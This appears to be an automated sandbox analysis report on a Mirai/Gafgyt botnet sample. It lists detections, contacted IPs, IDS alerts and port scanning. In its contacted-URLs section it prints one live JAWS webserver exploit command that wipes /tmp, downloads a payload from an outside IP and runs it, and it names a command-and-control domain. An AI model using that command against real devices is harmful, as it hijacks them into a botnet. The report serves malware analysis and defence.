Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1659/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5471/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3691/cmdline	Jump to behavior

Uses the "uname" system call to query kernel version information (possible evasion)

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5528)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5551)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5553)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5582)	Queries kernel information via 'uname':	Jump to behavior

Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5528.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5532.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5533.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5539.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5543.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5545.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5528.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5532.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5533.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5539.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5543.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5545.1.0000563763c59000.0000563763cbc000.rw-.sdmp	Binary or memory string: c7V5!/etc/qemu-binfmt/sh4
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5528.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5532.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5533.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5539.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5543.1.0000563763c59000.0000563763cbc000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5545.1.0000563763c59000.0000563763cbc000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5528.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5532.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5533.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5539.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5543.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, 5545.1.00007ffea8e4d000.00007ffea8e6e000.rw-.sdmp	Binary or memory string: N<Cx86_64/usr/bin/qemu-sh4/tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE
Source: Yara match	File source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE
Source: Yara match	File source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5539, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5543, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5545, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Gafgyt

Source: Yara match	File source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE
Source: Yara match	File source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE
Source: Yara match	File source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5539, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5543, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5545, type: MEMORYSTR

Screenshots

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
51.97.11.221	unknown	United States	2686	ATGS-MMD-ASUS	false
192.172.247.137	unknown	United States	64273	ORCASUS	false
25.224.41.104	unknown	United Kingdom	7922	COMCAST-7922US	false
41.17.43.217	unknown	South Africa	29975	VODACOM-ZA	false
69.218.34.161	unknown	United States	22236	UNITEDBANCORPUS	false
69.104.195.8	unknown	United States	7018	ATT-INTERNET4US	false
207.161.79.66	unknown	Canada	7122	MTS-ASNCA	false
123.35.115.236	unknown	Korea Republic of	6619	SAMSUNGSDS-AS-KRSamsungSDSIncKR	false
125.243.127.174	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
196.195.218.209	unknown	South Africa	132116	ANINETWORK-INAniNetworkPvtLtdIN	false
197.64.127.213	unknown	South Africa	16637	MTNNS-ASZA	false
123.10.221.8	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
41.79.71.202	unknown	Tanzania United Republic of	37349	AptusTZ	true
220.167.228.218	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
221.85.80.49	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
118.70.240.230	unknown	Viet Nam	18403	FPT-AS-APTheCorporationforFinancingPromotingTechnolo	false
8.33.71.13	unknown	United States	40882	SPI-HOSTINGUS	false
197.173.167.37	unknown	South Africa	37168	CELL-CZA	false
149.140.33.158	unknown	Turkey	8386	KOCNETTR	false
141.217.120.198	unknown	United States	237	MERIT-AS-14US	false
2.252.251.38	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
197.204.24.2	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.97.124.188	unknown	Chile	16629	CTCCORPSATELEFONICAEMPRESASCL	false
156.222.166.19	unknown	Egypt	8452	TE-ASTE-ASEG	false
118.21.171.232	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
212.48.96.197	unknown	Germany	8893	ARTFILES-ASZirkusweg1DE	false
49.235.142.203	unknown	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
212.157.107.247	unknown	France	702	UUNETUS	false
197.105.84.64	unknown	South Africa	37168	CELL-CZA	false
138.153.39.121	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
91.174.212.151	unknown	France	12322	PROXADFR	false
158.90.93.94	unknown	Finland	20379	NET-BAKERUS	false
197.148.82.164	unknown	Nigeria	37506	ZinoxNG	false
5.115.148.30	unknown	Iran (ISLAMIC Republic Of)	44244	IRANCELL-ASIR	false
170.46.175.252	unknown	United States	18697	AS18697US	false
41.217.224.145	unknown	Egypt	37031	MIST-EG	false
41.131.19.192	unknown	Egypt	24863	LINKdotNET-ASEG	false
37.53.10.72	unknown	Ukraine	6849	UKRTELNETUA	false
41.111.251.121	unknown	Algeria	36947	ALGTEL-ASDZ	true
84.170.212.31	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
58.158.28.187	unknown	Japan	17506	UCOMARTERIANetworksCorporationJP	false
94.83.243.229	unknown	Italy	3269	ASN-IBSNAZIT	false
37.81.32.101	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
68.207.110.130	unknown	United States	11427	TWC-11427-TEXASUS	false
54.126.82.77	unknown	United States	16509	AMAZON-02US	false
1.148.224.83	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
156.21.157.150	unknown	United States	17113	AS-TIERP-17113US	false
156.26.154.174	unknown	United States	22245	WICHITA-STATE-UUS	true
41.58.66.80	unknown	Nigeria	36923	SWIFTNG-ASNNG	false
41.66.181.96	unknown	South Africa	37179	AFRICAINXZA	false
100.207.159.50	unknown	United States	21928	T-MOBILE-AS21928US	false
137.99.108.96	unknown	United States	13796	UCONN-ARINUS	false
210.195.54.76	unknown	Malaysia	4788	TMNET-AS-APTMNetInternetServiceProviderMY	false
103.177.151.232	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
156.46.245.108	unknown	United States	3527	NIH-NETUS	false
145.63.134.180	unknown	Netherlands	47863	SDSKNL	false
139.174.157.139	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
178.187.98.80	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
63.223.72.200	unknown	United States	19194	JOVITAUS	false
63.122.162.142	unknown	United States	701	UUNETUS	false
123.79.149.210	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
204.25.188.248	unknown	United States	13325	STOMIUS	false
200.58.107.237	unknown	Argentina	27823	DattateccomAR	false
37.196.126.173	unknown	Sweden	1257	TELE2EU	false
156.167.162.207	unknown	Egypt	36992	ETISALAT-MISREG	true
41.9.43.163	unknown	South Africa	29975	VODACOM-ZA	false
197.71.234.183	unknown	South Africa	16637	MTNNS-ASZA	false
137.243.232.152	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
197.154.61.115	unknown	Ethiopia	37133	airtel-tz-asTZ	false
117.50.135.247	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
94.182.8.12	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	false
2.51.78.60	unknown	United Arab Emirates	5384	EMIRATES-INTERNETEmiratesInternetAE	false
4.92.84.178	unknown	United States	3356	LEVEL3US	false
41.97.63.174	unknown	Algeria	36947	ALGTEL-ASDZ	false
204.23.248.80	unknown	United States	13325	STOMIUS	false
171.103.158.89	unknown	Thailand	7470	TRUEINTERNET-AS-APTRUEINTERNETCoLtdTH	false
94.46.181.108	unknown	Portugal	24768	ALMOUROLTECPT	false
95.170.64.27	unknown	Netherlands	20857	TRANSIP-ASAmsterdamtheNetherlandsNL	false
192.161.55.174	unknown	United States	8100	ASN-QUADRANET-GLOBALUS	false
123.234.204.127	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
211.71.141.171	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
187.55.7.194	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
178.148.131.129	unknown	Serbia	31042	SERBIA-BROADBAND-ASSerbiaBroadBand-SrpskeKablovskemreze	false
41.114.230.15	unknown	South Africa	16637	MTNNS-ASZA	false
41.87.174.49	unknown	Botswana	14988	BTC-GATE1BW	false
137.193.243.194	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
42.108.232.78	unknown	India	38266	VODAFONE-INVodafoneIndiaLtdIN	false
197.190.200.243	unknown	Ghana	37140	zain-asGH	false
205.99.84.136	unknown	United States	3475	DNIC-AS-03475US	false
172.178.105.195	unknown	United States	7018	ATT-INTERNET4US	false
220.68.223.150	unknown	Korea Republic of	9782	WOOSONGEDUWooSongUniversityKR	false
117.135.228.168	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
41.119.126.172	unknown	South Africa	16637	MTNNS-ASZA	false
5.188.4.180	unknown	United States	199524	GCOREAT	false
44.11.82.209	unknown	United States	7377	UCSDUS	false
156.113.236.127	unknown	United States	393504	XNSTGCA	false
92.180.84.119	unknown	France	12479	UNI2-ASES	false
156.126.230.138	unknown	United States	393504	XNSTGCA	false
41.83.58.79	unknown	Senegal	8346	SONATEL-ASAutonomousSystemEU	false
200.2.221.75	unknown	Chile	10778	MCLInternetCL	false

Contacted Domains

Name	IP	Active
plutoc2.site	212.227.63.113	true

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+212.227.63.113/jaws;sh+/tmp/jaws	true	Avira URL Cloud: safe	unknown

AV Detection

Antivirus / Scanner detection for submitted sample

Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	ReversingLabs: Detection: 65%
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Virustotal: Detection: 65%			Perma Link

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:40992 -> 117.231.76.186:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:39362 -> 5.235.55.252:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:33560 -> 186.114.118.75:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:53430 -> 161.158.140.248:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:33560 -> 186.114.118.75:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:33584 -> 182.18.228.181:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:33584 -> 182.18.228.181:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:32946 -> 77.176.32.25:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:49046 -> 179.241.61.2:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:32946 -> 77.176.32.25:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:56166 -> 88.145.244.2:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:56166 -> 88.145.244.2:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:39312 -> 70.82.20.134:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:33460 -> 173.106.44.181:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:53430 -> 161.158.140.248:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:49046 -> 179.241.61.2:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:52078 -> 148.82.166.193:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:45926 -> 82.115.250.2:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:37312 -> 181.200.188.126:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:39312 -> 70.82.20.134:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:45926 -> 82.115.250.2:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:53518 -> 196.230.37.165:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:35798 -> 142.1.148.172:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:36740 -> 174.218.44.10:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:33460 -> 173.106.44.181:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:36740 -> 174.218.44.10:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:52078 -> 148.82.166.193:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:49910 -> 41.111.251.121:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:37312 -> 181.200.188.126:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:58064 -> 105.2.7.24:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:53518 -> 196.230.37.165:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:58064 -> 105.2.7.24:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:52902 -> 147.182.44.118:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:49910 -> 41.111.251.121:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:60184 -> 221.165.87.166:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:52378 -> 92.201.76.211:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:60184 -> 221.165.87.166:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:52902 -> 147.182.44.118:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:35798 -> 142.1.148.172:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:42612 -> 60.76.189.20:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:42612 -> 60.76.189.20:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:47298 -> 181.2.197.228:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:47298 -> 181.2.197.228:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:48270 -> 1.91.158.169:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:48270 -> 1.91.158.169:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:52378 -> 92.201.76.211:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:45850 -> 131.208.54.137:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:45850 -> 131.208.54.137:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:49468 -> 59.78.192.149:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:49468 -> 59.78.192.149:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:47956 -> 172.101.68.36:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:47956 -> 172.101.68.36:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:50858 -> 40.121.255.147:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:50858 -> 40.121.255.147:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.99.201.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.130.65.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.148.48.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.175.20.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.79.71.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.243.188.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.116.233 ports 1,2,3,5,7,37215
